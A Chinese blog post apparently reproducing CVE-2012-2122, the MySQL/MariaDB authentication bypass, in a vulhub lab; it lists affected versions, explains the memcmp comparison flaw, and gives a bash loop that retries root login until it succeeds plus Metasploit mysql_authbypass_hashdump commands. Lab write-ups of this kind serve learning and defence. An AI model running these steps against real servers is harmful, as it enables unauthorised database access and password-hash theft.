当前位置:网站首页>【vulhub】MySql身份认证绕过漏洞复现(CVE-2012-2122)
【vulhub】MySql身份认证绕过漏洞复现(CVE-2012-2122)
2022-08-10 20:37:00 【errorr0】
影响版本:
MySQL 5.1.x before 5.1.63,
5.5.x before 5.5.24,
5.6.x before 5.6.6,
MariaDB 5.1.x before 5.1.62,
5.2.x before 5.2.12
5.3.x before 5.3.6
5.x before 5.5.23
漏洞出现的原理:
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名且支持远程登录,然后不断尝试就能够直接登入SQL数据库。还有一个方法 msfconsole工具利用其带的SQL语句爆出密码,但是经过自己的测试发现无法得到密码(这里msf用的是自己服务器上搭的,可能存在问题)。
漏洞复现
法一:脚本循环爆破
正常登录:
用户:root 密码:123456
不正常就不会登录成功,但是如果写一个脚本循环进行登录就会出现开始说的MySQL可能出现的问题,如下:
#mysql.sh
for ((i = 1; i < 1000; i++))
do
mysql -h 127.0.0.1 -u root -p1234 -P 3306;
done
执行命令:bash mysql.sh
可以看到,即使前面一直在报错,但是到达了某一步时还是会登录成功,并且是拥有可执行查询权限的。
法二:metasploit工具打
这个工具kali自带,之前打红日2的时候用过,没有kali的可以参考安装教程:https://jingyan.baidu.com/article/2c8c281dabacad0008252aa6.html
步骤如下:
msfconsole
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set RHOSTS 你的外网IP
set THREADS 100
run
可惜了,一直不出结果,有可能是我搭的这个msf有问题还是啥的,MySQL的远程连接、错误连接次数的限制都改了还是不行,工作的电脑没有装kali,回去用自己电脑的kali试试吧。
边栏推荐
- Single-click to cancel the function
- 2021 CybricsCTF
- The evolution history of Go programmers
- 洛谷 P1629 邮递员送信 (三种最短路)
- OPPO Enco X2 迎来秋季产品升级 旗舰体验全面拉满
- 三子棋的设计和代码
- Date picker component (restrict year to set only displayed months)
- 优雅退出在Golang中的实现
- [SemiDrive source code analysis] [MailBox inter-core communication] 51 - DCF_IPCC_Property implementation principle analysis and code combat
- 指针常量和常量指针
猜你喜欢
YOLOv3 SPP source analysis
ansible各个模块的详解和使用
paddle 35 paddledetection保存训练过程中的log信息
线性结构----链表
.NET现代应用的产品设计 - DDD实践
Apple Font Lookup
Transferrin-modified vincristine-tetrandrine liposomes | transferrin-modified co-loaded paclitaxel and genistein liposomes (reagents)
OPPO Enco X2 迎来秋季产品升级 旗舰体验全面拉满
Pt/CeO2 monatomic nanoparticles enzyme | H - rGO - Pt @ Pd NPs enzyme | carbon nanotube load platinum nanoparticles peptide modified nano enzyme | leukemia antagonism FeOPtPEG composite nano enzyme
【nvm】【node多版本管理工具】使用说明和踩坑(exit status 1)
随机推荐
Implementation of graceful exit in Golang
sklearn 笔记 TSNE
七月券商金工精选
【二叉树】二叉搜索树的后序遍历序列
XML小讲
Apple Font Lookup
leetcode 547.省份数量 并查集
2021年中国工业互联网安全大赛(福建省选拔赛) 暨首届福建省工业互联网创新大赛
Web3中值得关注的基础设施
"Distributed Microservice E-commerce" Topic (1) - Project Introduction
验证码倒计时自定义hooks
Ransom Letter Questions and Answers
Oracle 的开窗函数使用详解(二)
Transferrin-modified vincristine-tetrandrine liposomes | transferrin-modified co-loaded paclitaxel and genistein liposomes (reagents)
Detailed explanation and use of each module of ansible
双 TL431 级联振荡器
深度学习实战教程(一):感知器
APP application related instructions in Auto.js
优雅退出在Golang中的实现
设备管理中数据聚类处理